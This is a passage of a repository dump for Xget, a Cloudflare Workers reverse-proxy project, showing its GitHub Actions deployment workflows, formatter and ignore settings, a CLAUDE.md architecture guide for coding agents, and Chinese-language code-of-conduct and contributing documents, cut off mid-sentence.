--auth=${{ secrets.NETLIFY_AUTH_TOKEN }} --site=${{ secrets.NETLIFY_SITE_ID }} ================================================ FILE: .github/workflows/functions-vc.yml ================================================ name: Deploy to Vercel on: workflow_run: workflows: ["Sync to Pages and Functions"] types: - completed branches: - main workflow_dispatch: concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: false jobs: deploy: runs-on: ubuntu-latest timeout-minutes: 15 permissions: contents: read deployments: write if: ${{ github.event.workflow_run.conclusion == 'success' || github.event_name == 'workflow_dispatch' }} env: VERCEL_ORG_ID: ${{ secrets.VERCEL_ORG_ID }} VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }} steps: - name: Checkout functions branch uses: actions/checkout@v6 with: ref: functions - name: Setup Node.js uses: actions/setup-node@v6 with: node-version: "24" cache: "npm" - name: Install Vercel CLI run: npm install --global vercel@latest - name: Pull Vercel Environment Information run: vercel pull --yes --environment=production --token=${{ secrets.VERCEL_TOKEN }} - name: Build Project Artifacts run: vercel build --prod --token=${{ secrets.VERCEL_TOKEN }} - name: Deploy Project Artifacts to Vercel run: vercel deploy --prebuilt --prod --token=${{ secrets.VERCEL_TOKEN }} ================================================ FILE: .github/workflows/image.yml ================================================ name: Build and Push Image on: workflow_run: workflows: ["CI"] types: - completed branches: - main push: tags: - "v*" workflow_dispatch: concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: true env: REGISTRY: ghcr.io IMAGE_NAME: ${{ github.repository }} jobs: build-and-push: runs-on: ubuntu-latest timeout-minutes: 30 permissions: contents: read packages: write id-token: write attestations: write if: >- ${{ github.event_name == 'workflow_dispatch' || startsWith(github.ref, 'refs/tags/v') || ( github.event_name == 'workflow_run' && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'push' && github.event.workflow_run.head_branch == 'main' && github.event.workflow_run.head_repository.full_name == github.repository ) }} steps: - name: Checkout repository uses: actions/checkout@v6 - name: Set up Docker Buildx uses: docker/setup-buildx-action@v4 - name: Log in to GitHub Container Registry uses: docker/login-action@v4 with: registry: ${{ env.REGISTRY }} username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - name: Extract metadata (tags, labels) for Docker id: meta uses: docker/metadata-action@v6 with: images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} tags: | type=ref,event=branch type=ref,event=pr type=semver,pattern={{version}} type=semver,pattern={{major}}.{{minor}} type=semver,pattern={{major}} type=sha type=raw,value=latest,enable={{is_default_branch}} - name: Build and push Docker image id: build-and-push uses: docker/build-push-action@v7 with: context: . platforms: linux/amd64,linux/arm64 push: ${{ github.event_name != 'pull_request' }} tags: ${{ steps.meta.outputs.tags }} labels: ${{ steps.meta.outputs.labels }} cache-from: type=gha cache-to: type=gha,mode=max - name: Generate artifact attestation if: github.event_name != 'pull_request' uses: actions/attest-build-provenance@v4 with: subject-name: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME}} subject-digest: ${{ steps.build-and-push.outputs.digest }} push-to-registry: true ================================================ FILE: .github/workflows/pages-cf.yml ================================================ name: Deploy to Cloudflare Pages on: workflow_run: workflows: ["Sync to Pages and Functions"] types: - completed branches: - main workflow_dispatch: concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: false env: WRANGLER_VERSION: "4.76.0" jobs: deploy: runs-on: ubuntu-latest timeout-minutes: 15 permissions: contents: read deployments: write if: ${{ github.event.workflow_run.conclusion == 'success' || github.event_name == 'workflow_dispatch' }} steps: - name: Checkout pages branch uses: actions/checkout@v6 with: ref: pages - name: Ensure Cloudflare Pages project exists env: CF_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }} CF_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }} CF_PAGES_PROJECT: xget CF_PRODUCTION_BRANCH: main shell: bash run: | set -euo pipefail api_base="https://api.cloudflare.com/client/v4/accounts/${CF_ACCOUNT_ID}/pages/projects" auth_header="Authorization: Bearer ${CF_API_TOKEN}" echo "Checking Pages project: ${CF_PAGES_PROJECT}" if curl -fsS -H "${auth_header}" "${api_base}/${CF_PAGES_PROJECT}" >/dev/null; then echo "Pages project exists." exit 0 fi echo "Pages project not found. Creating..." create_payload="$(printf '{"name":"%s","production_branch":"%s"}' "${CF_PAGES_PROJECT}" "${CF_PRODUCTION_BRANCH}")" curl -fsS -X POST -H "${auth_header}" -H "Content-Type: application/json" \ --data "${create_payload}" \ "${api_base}" >/dev/null echo "Pages project created." - name: Setup Node.js uses: actions/setup-node@v6 with: node-version: "24" - name: Install Wrangler CLI run: npm install --global wrangler@${{ env.WRANGLER_VERSION }} - name: Deploy to Cloudflare Pages env: CLOUDFLARE_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }} CLOUDFLARE_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }} run: wrangler pages deploy . --project-name=xget --branch=${{ github.ref_name }} ================================================ FILE: .github/workflows/pages-eo.yml ================================================ name: Deploy to EdgeOne Pages on: workflow_run: workflows: ["Sync to Pages and Functions"] types: - completed branches: - main workflow_dispatch: concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: false jobs: deploy: runs-on: ubuntu-latest timeout-minutes: 15 permissions: contents: read deployments: write if: ${{ github.event_name == 'workflow_dispatch' || (github.event_name == 'workflow_run' && github.event.workflow_run.conclusion == 'success' && (github.event.workflow_run.event == 'push' || github.event.workflow_run.event == 'workflow_run' || github.event.workflow_run.event == 'workflow_dispatch') && github.event.workflow_run.head_branch == 'main' && github.event.workflow_run.head_repository.full_name == github.repository) }} steps: - name: Checkout pages branch uses: actions/checkout@v6 with: ref: pages - name: Setup Node.js uses: actions/setup-node@v6 with: node-version: "22.11.0" - name: Deploy to EdgeOne Pages run: npx edgeone pages deploy . -n xget6 -t ${{ secrets.EDGEONE_API_TOKEN }} ================================================ FILE: .github/workflows/sync.yml ================================================ name: Sync to Pages and Functions on: workflow_run: workflows: ["CI"] types: - completed branches: - main workflow_dispatch: concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: false jobs: convert-and-sync-pages: runs-on: ubuntu-latest timeout-minutes: 15 permissions: contents: write if: ${{ github.event_name == 'workflow_dispatch' || (github.event_name == 'workflow_run' && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'push' && github.event.workflow_run.head_branch == 'main' && github.event.workflow_run.head_repository.full_name == github.repository) }} steps: - name: Checkout main branch uses: actions/checkout@v6 with: ref: main fetch-depth: 0 - name: Configure Git run: | git config user.name "github-actions[bot]" git config user.email "github-actions[bot]@users.noreply.github.com" - name: Setup adapter files run: | mkdir -p /tmp/pages-conversion cp -r adapters/pages/* /tmp/pages-conversion/ - name: Copy source code files run: | cp -r src /tmp/pages-conversion/ cp package.json /tmp/pages-conversion/ cp package-lock.json /tmp/pages-conversion/ 2>/dev/null || true cp LICENSE /tmp/pages-conversion/ - name: Rewrite Pages adapter imports for converted layout run: | cd /tmp/pages-conversion python3 - <<'PY' from pathlib import Path path = Path("functions/[[path]].js") old = "../../../src/app/handle-request.js" new = "../src/app/handle-request.js" text = path.read_text(encoding="utf-8") if old not in text: raise SystemExit(f"expected import path not found in {path}") path.write_text(text.replace(old, new), encoding="utf-8") PY - name: Update package.json for Pages run: | cd /tmp/pages-conversion # Update deployment commands to use Pages cat package.json | \ sed 's/"deploy": "wrangler deploy"/"deploy": "wrangler pages deploy ."/' | \ sed 's/"start": "wrangler dev"/"start": "wrangler pages dev ."/' \ > package.json.tmp && mv package.json.tmp package.json - name: Initialize pages branch run: | cd /tmp/pages-conversion git init git config user.name "github-actions[bot]" git config user.email "github-actions[bot]@users.noreply.github.com" git checkout -b pages git add . git commit -m "Convert Workers to Pages Auto-converted from main branch commit ${{ github.sha }} Runtime files only (documentation, tests, and dev configs excluded)." - name: Force push to pages branch run: | cd /tmp/pages-conversion git remote add origin https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}.git git push -f origin pages - name: Clean up if: always() run: | rm -rf /tmp/pages-conversion convert-and-sync-functions: runs-on: ubuntu-latest timeout-minutes: 15 permissions: contents: write if: ${{ github.event_name == 'workflow_dispatch' || (github.event_name == 'workflow_run' && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'push' && github.event.workflow_run.head_branch == 'main' && github.event.workflow_run.head_repository.full_name == github.repository) }} steps: - name: Checkout main branch uses: actions/checkout@v6 with: ref: main fetch-depth: 0 - name: Configure Git run: | git config user.name "github-actions[bot]" git config user.email "github-actions[bot]@users.noreply.github.com" - name: Setup adapter files run: | mkdir -p /tmp/functions-conversion # Copy all content from adapters/functions excluding package.json first cp -r adapters/functions/* /tmp/functions-conversion/ # Copy the specific package.json for functions (overwriting if needed, but we do it later anyway) - name: Copy source code files run: | # Copy only runtime-required files cp -r src /tmp/functions-conversion/ # Note: We do NOT copy the root package.json here as we use the one from adapters/functions cp package-lock.json /tmp/functions-conversion/ 2>/dev/null || true cp LICENSE /tmp/functions-conversion/ - name: Rewrite Functions adapter imports for converted layout run: | cd /tmp/functions-conversion python3 - <<'PY' from pathlib import Path replacements = { Path("api/index.js"): ( "../../../src/app/handle-request.js", "../src/app/handle-request.js", ), Path("deno.js"): ( "../../src/app/handle-request.js", "./src/app/handle-request.js", ), } for path, (old, new) in replacements.items(): text = path.read_text(encoding="utf-8") if old not in text: raise SystemExit(f"expected import path not found in {path}") path.write_text(text.replace(old, new), encoding="utf-8") PY - name: Initialize functions branch run: | cd /tmp/functions-conversion git init git config user.name "github-actions[bot]" git config user.email "github-actions[bot]@users.noreply.github.com" git checkout -b functions git add . git commit -m "Convert Workers to Functions Auto-converted from main branch commit ${{ github.sha }} Runtime files only (documentation, tests, and dev configs excluded)." - name: Force push to functions branch run: | cd /tmp/functions-conversion git remote add origin https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}.git git push -f origin functions - name: Clean up if: always() run: | rm -rf /tmp/functions-conversion ================================================ FILE: .github/workflows/workers.yml ================================================ name: Deploy to Cloudflare Workers on: workflow_run: workflows: ["CI"] types: - completed branches: - main workflow_dispatch: concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: false env: WRANGLER_VERSION: "4.76.0" jobs: deploy: runs-on: ubuntu-latest timeout-minutes: 15 permissions: contents: read deployments: write if: ${{ github.event_name == 'workflow_dispatch' || (github.event_name == 'workflow_run' && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'push' && github.event.workflow_run.head_branch == 'main' && github.event.workflow_run.head_repository.full_name == github.repository) }} steps: - name: Checkout main branch uses: actions/checkout@v6 - name: Setup Node.js uses: actions/setup-node@v6 with: node-version: "24" - name: Install Wrangler CLI run: npm install --global wrangler@${{ env.WRANGLER_VERSION }} - name: Deploy to Cloudflare Workers env: CLOUDFLARE_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }} CLOUDFLARE_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }} run: wrangler deploy ================================================ FILE: .gitignore ================================================ # Logs logs _.log npm-debug.log_ yarn-debug.log* yarn-error.log* lerna-debug.log* .pnpm-debug.log* # Diagnostic reports (https://nodejs.org/api/report.html) report.[0-9]_.[0-9]_.[0-9]_.[0-9]_.json # Runtime data pids _.pid _.seed \*.pid.lock # Directory for instrumented libs generated by jscoverage/JSCover lib-cov # Coverage directory used by tools like istanbul coverage \*.lcov # nyc test coverage .nyc_output # Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) .grunt # Bower dependency directory (https://bower.io/) bower_components # node-waf configuration .lock-wscript # Compiled binary addons (https://nodejs.org/api/addons.html) build/Release # Dependency directories node_modules/ jspm_packages/ # Snowpack dependency directory (https://snowpack.dev/) web_modules/ # TypeScript cache \*.tsbuildinfo # Optional npm cache directory .npm # Optional eslint cache .eslintcache # Optional stylelint cache .stylelintcache # Microbundle cache .rpt2_cache/ .rts2_cache_cjs/ .rts2_cache_es/ .rts2_cache_umd/ # Optional REPL history .node_repl_history # Output of 'npm pack' \*.tgz # Yarn Integrity file .yarn-integrity # dotenv environment variable files .env .env.development.local .env.test.local .env.production.local .env.local # parcel-bundler cache (https://parceljs.org/) .cache .parcel-cache # Next.js build output .next out # Nuxt.js build / generate output .nuxt dist # Gatsby files .cache/ # Comment in the public line in if your project uses Gatsby and not Next.js # https://nextjs.org/blog/next-9-1#public-directory-support # public # vuepress build output .vuepress/dist # vuepress v2.x temp and cache directory .temp .cache # Docusaurus cache and generated files .docusaurus # Serverless directories .serverless/ # FuseBox cache .fusebox/ # DynamoDB Local files .dynamodb/ # TernJS port file .tern-port # Stores VSCode versions used for testing VSCode extensions .vscode-test # yarn v2 .yarn/cache .yarn/unplugged .yarn/build-state.yml .yarn/install-state.gz .pnp.\* # wrangler project .dev.vars .wrangler/ ================================================ FILE: .prettierignore ================================================ # Dependencies node_modules/ .pnp .pnp.js # Production builds dist/ build/ # Environment files .env .env.local .env.development.local .env.test.local .env.production.local # Logs npm-debug.log* yarn-debug.log* yarn-error.log* lerna-debug.log* # Coverage directory used by tools like istanbul coverage/ *.lcov # Dependency directories node_modules/ jspm_packages/ # Optional npm cache directory .npm # Optional eslint cache .eslintcache # Output of 'npm pack' *.tgz # Yarn Integrity file .yarn-integrity # parcel-bundler cache (https://parceljs.org/) .cache .parcel-cache # Next.js build output .next # Nuxt.js build / generate output .nuxt dist # Storybook build outputs .out .storybook-out # Temporary folders tmp/ temp/ # Editor directories and files .vscode/ .idea/ *.swp *.swo *~ # OS generated files .DS_Store .DS_Store? ._* .Spotlight-V100 .Trashes ehthumbs.db Thumbs.db # Wrangler .wrangler/ # Git .git/ # Lock files (optional - uncomment if you want to format them) # package-lock.json # yarn.lock # pnpm-lock.yaml ================================================ FILE: .prettierrc.json ================================================ { "arrowParens": "avoid", "bracketSameLine": false, "bracketSpacing": true, "embeddedLanguageFormatting": "auto", "endOfLine": "lf", "insertPragma": false, "jsxSingleQuote": true, "overrides": [ { "files": "*.md", "options": { "printWidth": 80, "proseWrap": "always" } }, { "files": "*.json", "options": { "printWidth": 120 } }, { "files": "*.yml", "options": { "singleQuote": false, "tabWidth": 2 } } ], "printWidth": 100, "proseWrap": "preserve", "quoteProps": "as-needed", "requirePragma": false, "semi": true, "singleQuote": true, "tabWidth": 2, "trailingComma": "none", "useTabs": false } ================================================ FILE: AGENTS.md ================================================ CLAUDE.md ================================================ FILE: CLAUDE.md ================================================ # CLAUDE.md This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository. ## Project Overview Xget is a high-performance, Cloudflare Workers-based acceleration engine for developer resources. It provides unified acceleration for code repositories (GitHub, GitLab, etc.), package registries (npm, PyPI, Maven, etc.), container registries (Docker Hub, GHCR, etc.), and AI inference APIs (OpenAI, Anthropic, etc.). The project operates as a reverse proxy that transforms incoming requests to match various platform APIs while adding security headers, caching, retry logic, and performance monitoring. ## Development Commands ### Core Commands ```bash # Start development server (Cloudflare Workers local environment) npm run dev # Runs on http://localhost:8787 # Deploy to Cloudflare Workers production npm run deploy # Build and run tests npm run test # Run tests in watch mode npm run test:run # Run tests once npm run test:coverage # Generate coverage report npm run test:ui # Open Vitest UI # Code quality npm run lint # Check code quality npm run lint:fix # Fix linting issues npm run format # Format code with Prettier npm run format:check # Check formatting without changes npm run type-check # TypeScript type checking (no emit) npm run commitlint # Validate the latest commit message ``` ## Commit Messages - Use [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) for every commit - Preferred format: `type(scope): description` - Common types: `feat`, `fix`, `docs`, `refactor`, `perf`, `test`, `chore` - The repository installs a `commit-msg` hook via `npm install`; do not bypass it unless explicitly required ## Pre-Commit Requirements - Before every commit, run the local CI-equivalent checks from `.github/workflows/ci.yml` - Required commands: `npm run lint`, `npm run format:check`, `npm run test:run`, and `npm run type-check` - If any required check fails, do not commit until the failure is resolved - Apply this rule to every commit, including documentation-only changes, unless the user explicitly asks for a different workflow ### Testing Workflow - Tests use Vitest with `@cloudflare/vitest-pool-workers` for Workers-specific testing - Run `npm run test:run` before committing to ensure all tests pass - Coverage reports are generated in `coverage/` directory ## Architecture ### Request Flow 1. **Entry Point**: `src/index.js` - Exports default Worker with `fetch()` handler 2. **Validation**: `src/utils/validation.js` - Validates HTTP methods, path length, detects protocol types 3. **Platform Detection**: URL path is parsed to identify platform (e.g., `/gh/` → GitHub) 4. **Path Transformation**: `src/routing/platform-transformers.js#transformPath()` converts request paths to upstream URLs 5. **Protocol Handling**: Different handlers for Git, Docker, AI inference requests 6. **Upstream Fetch**: Request forwarded with appropriate headers and retry logic 7. **Response Processing**: URL rewriting for certain platforms (npm, PyPI), cache storage 8. **Security Headers**: Added via `src/utils/security.js` before returning to client ### Key Components #### Configuration (`src/config/`) - **`index.js`**: Runtime configuration with environment variable overrides - `TIMEOUT_SECONDS`: Request timeout (default: 30s) - `MAX_RETRIES`: Retry attempts (default: 3) - `CACHE_DURATION`: Cache TTL (default: 1800s = 30 minutes) - `SECURITY.ALLOWED_METHODS`: HTTP methods (default: GET, HEAD) - **`platform-catalog.js`**: Platform base URL definitions - `PLATFORM_CATALOG`: Object mapping platform keys to base URLs - **`routing/platform-index.js`**: Pre-sorted keys for efficient matching - `SORTED_PLATFORMS`: Longest-prefix-first platform matching order - **`routing/platform-transformers.js`**: Platform-specific path rewriting - `transformPath()`: Converts request paths to platform-specific URLs - Special handling for crates.io (adds `/api/v1/crates` prefix) and Jenkins (adds `/current/` prefix) #### Protocol Handlers (`src/protocols/`) - **`git.js`**: Git protocol detection and header configuration - Detects Git operations via User-Agent, endpoints (`/info/refs`, `/git-upload-pack`) - Handles Git LFS via `Accept: application/vnd.git-lfs+json` - **`docker.js`**: Container registry protocol (OCI/Docker) - Parses WWW-Authenticate headers for token authentication - Handles Docker registry v2 API authentication flow - Special redirect handling to prevent leaking auth tokens to blob storage - **`ai.js`**: AI inference API detection and header forwarding - Detects requests to `/ip/*` platforms - Preserves all headers for AI API compatibility #### Utilities (`src/utils/`) - **`validation.js`**: Request validation logic - `isDockerRequest()`: Detects Docker/OCI operations - `validateRequest()`: Enforces security policies - **`security.js`**: Security headers and error responses - Adds HSTS, X-Frame-Options, CSP, X-XSS-Protection - `createErrorResponse()`: Generates standardized error responses - **`performance.js`**: Performance monitoring - `PerformanceMonitor`: Tracks request timing - Adds `X-Performance-Metrics` header to responses ### Caching Strategy - Uses Cloudflare Cache API for GET requests (200 OK only) - Cache TTL controlled by `CACHE_DURATION` config - Skips cache for: Git operations, Docker operations, AI inference requests - Range requests: First checks for range-specific cache, falls back to full content cache ### Special Platform Handling #### npm - Rewrites `https://registry.npmjs.org/` URLs in JSON responses to point to Xget instance #### PyPI - Rewrites `https://files.pythonhosted.org` URLs in HTML responses to point to Xget instance - Uses separate `pypi-files` platform for file downloads #### crates.io - Adds `/api/v1/crates` prefix to all API requests - Handles search endpoint (`/?q=`) specially #### Jenkins - Adds `/current/` prefix to update center paths - Preserves `/experimental/` and `/download/` paths as-is #### Docker Registries - Handles authentication via token service - Uses manual redirect mode to strip Authorization headers before S3 redirects - Auto-retries with public token on 401 responses ## Code Structure Conventions ### File Organization ``` src/ ├── index.js # Main Worker entry point ├── app/ │ ├── handle-request.js # Shared request pipeline │ └── request-context.js # Protocol-aware request classification ├── config/ │ ├── index.js # Runtime configuration │ ├── platform-catalog.js # Platform base URLs │ └── platforms.js # Compatibility exports ├── protocols/ │ ├── git.js # Git protocol handler │ ├── docker.js # Docker/OCI handler │ └── ai.js # AI inference handler ├── response/ │ └── finalize-response.js # Response shaping and cache writes ├── routing/ │ ├── platform-index.js # Platform matching order │ ├── platform-transformers.js │ └── resolve-target.js # Upstream target resolution ├── upstream/ │ ├── cache.js # Cache read helpers │ └── fetch-upstream.js # Upstream transport and retries └── utils/ ├── validation.js # Request validation ├── security.js # Security utilities └── performance.js # Performance monitoring test/ ├── features/ # Feature tests ├── platforms/ # Platform-specific tests ├── unit/ # Unit tests ├── index.test.js # Core Worker tests └── integration.test.js # Integration tests ``` ### Important Patterns #### Protocol Detection Order 1. Check if Docker request (via `isDockerRequest()`) 2. Check if Git request (via `isGitRequest()`) 3. Check if Git LFS request (via `isGitLFSRequest()`) 4. Check if AI request (via `isAIInferenceRequest()`) 5. Default to standard file download #### Adding a New Platform 1. Add platform entry to `PLATFORM_CATALOG` in `src/config/platform-catalog.js` 2. If special path transformation needed, add a transformer in `src/routing/platform-transformers.js` 3. Add platform tests in `test/platforms/` 4. Update README.md with platform documentation #### Retry Logic - Retries up to `MAX_RETRIES` times with linear backoff - Delay: `RETRY_DELAY_MS * attempts` (default: 1000ms, 2000ms, 3000ms) - Retries on: Network errors, timeouts, 5xx errors - Does NOT retry: 4xx errors (except Docker 401 which has special handling) #### Error Handling - All errors caught at top level in `handleRequest()` - Errors converted to JSON responses via `createErrorResponse()` - Performance metrics still added even on error paths ## Testing Guidelines ### Test Structure - **Unit tests** (`test/unit/`): Test individual functions in isolation - **Feature tests** (`test/features/`): Test specific features (auth, caching, Git, performance) - **Platform tests** (`test/platforms/`): Test platform-specific transformations - **Integration tests** (`test/integration.test.js`): End-to-end request flows ### Running Specific Tests ```bash # Run specific test file npm run test:run test/unit/platforms.test.js # Run tests matching pattern npm run test:run -- --testNamePattern "Docker" # Run with coverage npm run test:coverage ``` ### Common Test Patterns ```javascript // Mock request creation const request = new Request('http://localhost/gh/microsoft/vscode', { method: 'GET', headers: { 'User-Agent': 'git/2.34.1' } }); // Mock environment const env = {}; const ctx = { waitUntil: () => {} }; // Test the worker const response = await worker.fetch(request, env, ctx); expect(response.status).toBe(200); ``` ## Deployment ### Cloudflare Workers - Primary deployment target - Uses GitHub Actions for CI/CD (`.github/workflows/workers.yml`) - Requires `CLOUDFLARE_API_TOKEN` and `CLOUDFLARE_ACCOUNT_ID` secrets ### Cloudflare Pages - Alternative deployment via adapter in `adapters/pages/` - Auto-synced from `main` branch to `pages` branch - Uses separate workflow (`.github/workflows/pages-cf.yml`) ### Other Platforms - **Vercel/Netlify**: Uses Functions adapter in `adapters/functions/` - **Deno Deploy**: Uses Functions adapter (compatible format) - **Docker**: Multi-stage build using `workerd` runtime ### Environment Variables Configure in Cloudflare Workers dashboard or via `wrangler.toml`: - `TIMEOUT_SECONDS`: Override default timeout - `MAX_RETRIES`: Override retry count - `CACHE_DURATION`: Override cache TTL - `ALLOWED_METHODS`: Override allowed HTTP methods (comma-separated) - `ALLOWED_ORIGINS`: Override CORS origins (comma-separated) ## Important Notes ### Security Considerations - Never log or expose Authorization headers - Docker authentication tokens are stripped before S3 redirects - All responses include security headers (HSTS, CSP, X-Frame-Options, etc.) - Path length limited to prevent URL-based attacks (default: 2048 chars) ### Performance Optimization - Use `ctx.waitUntil()` for cache writes to avoid blocking response - Range requests leverage cache when possible - Cloudflare edge caching (`cf` fetch options) for non-protocol requests - HTTP/3 enabled for supported clients ### Git/Docker/AI Requests - Skip normal caching mechanisms - Allow POST/PUT/PATCH methods - Preserve all upstream headers - No performance headers added (to maintain protocol compatibility) ### URL Rewriting - Only enabled for npm and PyPI platforms - Rewrites responses to point to Xget instance instead of upstream - Required for package managers to download dependencies through Xget ## Common Tasks ### Adding a New Platform 1. Add to `PLATFORM_CATALOG` in `src/config/platform-catalog.js` 2. If special transformation needed, update `src/routing/platform-transformers.js` 3. Add test in `test/platforms/` 4. Update README.md documentation 5. Test locally with `npm run dev` ### Debugging Requests 1. Use `npm run dev` to start local server 2. Add `console.log()` statements in `src/app/handle-request.js` or the relevant extracted pipeline module 3. Check Wrangler dev server output 4. Inspect `X-Performance-Metrics` header in responses ### Fixing Test Failures 1. Run specific failing test: `npm run test:run test/path/to/test.js` 2. Check mock setup matches actual request pattern 3. Verify platform configuration in `src/config/platform-catalog.js` and `src/routing/platform-transformers.js` 4. Run all tests before committing: `npm run test:run` ================================================ FILE: CODE_OF_CONDUCT.md ================================================ # 贡献者行为准则 ## 我们的承诺 作为成员、贡献者和领导者,我们承诺让每个人都能在我们的社区中获得无骚扰的体验,无论其年龄、体型、明显或不明显的残疾、种族、性别特征、性别认同和表达、经验水平、教育程度、社会经济地位、国籍、外貌、种族、宗教或性取向如何。 我们承诺以有助于建立开放、友好、多元、包容和健康社区的方式行事和互动。 ## 我们的标准 有助于为我们社区创造积极环境的行为示例包括: * 对他人表现出同理心和善意 * 尊重不同的观点、看法和经历 * 给予并优雅地接受建设性反馈 * 承担责任并向受我们错误影响的人道歉,并从经验中学习 * 专注于不仅对我们个人最好,而且对整个社区最好的事情 不可接受的行为示例包括: * 使用性化的语言或图像,以及任何形式的性关注或性挑逗 * 恶意评论、侮辱性或贬损性评论,以及个人或政治攻击 * 公开或私下骚扰 * 未经明确许可发布他人的私人信息,如物理地址或电子邮件地址 * 在专业环境中可能被合理认为不当的其他行为 ## 执行责任 社区领导者有责任澄清和执行我们的可接受行为标准,并将对他们认为不当、威胁、冒犯或有害的任何行为采取适当和公平的纠正措施。 社区领导者有权利和责任删除、编辑或拒绝与本行为准则不符的评论、提交、代码、wiki 编辑、问题和其他贡献,并在适当时传达审核决定的原因。 ## 适用范围 本行为准则适用于所有社区空间,也适用于个人在公共空间正式代表社区的情况。代表我们社区的示例包括使用官方电子邮件地址、通过官方社交媒体账户发布信息,或在线上或线下活动中担任指定代表。 ## 执行 可以向负责执行的社区领导者报告滥用、骚扰或其他不可接受的行为,联系邮箱:。 所有投诉都将得到及时和公正的审查和调查。 所有社区领导者都有义务尊重任何事件报告者的隐私和安全。 ## 执行指南 社区领导者将遵循这些社区影响指南来确定他们认为违反本行为准则的任何行为的后果: ### 1. 纠正 **社区影响**:使用不当语言或其他被认为在社区中不专业或不受欢迎的行为。 **后果**:社区领导者的私人书面警告,澄清违规的性质并解释为什么该行为不当。可能会要求公开道歉。 ### 2. 警告 **社区影响**:通过单一事件或一系列行为的违规。 **后果**:对持续行为后果的警告。在指定时间内不得与相关人员互动,包括与执行行为准则的人员进行主动互动。这包括避免在社区空间以及社交媒体等外部渠道中的互动。违反这些条款可能导致临时或永久禁令。 ### 3. 临时禁令 **社区影响**:严重违反社区标准,包括持续的不当行为。 **后果**:在指定时间内禁止与社区进行任何形式的互动或公开交流。在此期间不允许与相关人员进行公开或私人互动,包括与执行行为准则的人员进行主动互动。违反这些条款可能导致永久禁令。 ### 4. 永久禁令 **社区影响**:表现出违反社区标准的模式,包括持续的不当行为、对个人的骚扰或对某类个人的攻击或贬低。 **后果**:永久禁止在社区内进行任何形式的公开互动。 ## 归属 本行为准则改编自[贡献者公约][homepage] 2.0 版,可在 获取。 社区影响指南的灵感来自 [Mozilla 的行为准则执行阶梯](https://github.com/mozilla/diversity)。 有关本行为准则常见问题的答案,请参阅 的常见问题解答。翻译版本可在 获取。 [homepage]: https://www.contributor-covenant.org ================================================ FILE: CONTRIBUTING.md ================================================ # 贡献指南 感谢您对 Xget 的关注!我们欢迎各种形式的贡献,包括但不限于代码、文档、测试、反馈和建议。 ## 🤝 贡献方式 ### 报告问题 - 使用 [Issue 模板](https://github.com/xixu-me/Xget/issues/new/choose)报告 bug 或提出功能请求 - 搜索现有 issues 避免重复报告 - 提供详细的重现步骤和环境信息 ### 提交代码 - fork 存储库到您的 GitHub 账户 - 创建功能分支 (`git checkout -b feature/amazing-feature`) - 安装依赖以启用本地 Git hooks (`npm install`) - 使用 Conventional Commits 提交更改 (`git commit -m 'feat(platforms): add amazing feature'`) - 推送到分支 (`git push origin feature/amazing-feature`) - 创建 Pull Request ### 改进文档 - 修正文档中的错误或不准确信息 - 添加使用示例和最佳实践 - 翻译文档到其他语言 - 改进代码注释和 API 文档 ## 🛠️ 开发环境设置 ### 前置要求 - Node.js 18+ - npm 或 yarn - Git - Cloudflare 账户(用于测试部署) ### 本地开发 ```bash # 克隆存储库 git clone https://github.com/xixu-me/Xget.git cd Xget # 安装依赖 npm install # 安装后会自动启用 commit-msg hook # 启动开发服务器 npm run dev # 单次运行测试 npm run test:run # 代码格式化 npm run format # 代码检查 npm run lint ``` ## 📝 代码规范 ### 代码风格 - 使用 2 个空格缩进 - 使用分号结尾 - 使用单引号字符串 - 遵循 ESLint 配置规则 ### 命名约定 - 变量和函数使用 camelCase - 常量使用 UPPER_SNAKE_CASE - 类名使用 PascalCase - 文件名使用 kebab-case ### 注释规范 ```javascript /** * 函数描述 * @param {string} param1 - 参数1描述 * @param {Object} param2 - 参数2描述 * @returns {Promise} 返回值描述 */ function exampleFunction(param1, param2) { // 实现逻辑 } ``` ## 🧪 测试 ### 测试类型 - **单元测试**: 测试单个函数和模块 - **集成测试**: 测试组件间的交互 - **端到端测试**: 测试完整的用户场景 ### 运行测试 ```bash # 单次运行所有测试 npm run test:run # 运行特定测试文件 npm run test:run test/platforms/jenkins.test.js # 按测试名称筛选 npm run test:run -- --testNamePattern "platform" # 生成测试覆盖率报告 npm run test:coverage ``` ### 编写测试 - 为新功能编写相应的测试 - 确保测试覆盖率不低于 80% - 使用描述性的测试名称 - 测试边界情况和错误处理 ## 🚀 提交规范 ### Commit 消息格式 使用 [Conventional Commits](https://www.conventionalcommits.org/) 规范: ``` [optional scope]: [optional body] [optional footer(s)] ``` ### 类型说明 - `feat`: 新功能 - `fix`: 修复 bug - `docs`: 文档更新 - `style`: 代码格式化(不影响功能) - `refactor`: 代码重构 - `perf`: 性能优化 - `test`: 测试相关 - `chore`: 构建过程或辅助工具的变动 ### 示例 ```bash feat(platforms): add support for Bitbucket fix(cache): resolve cache invalidation issue docs(readme): update installation instructions perf(proxy): optimize request handling performance ``` ### 自动校验 - `npm install` 会自动安装 `commit-msg` hook,在本地阻止不符合规范的提交 - GitHub Actions 会在 `push` 和 `pull_request` 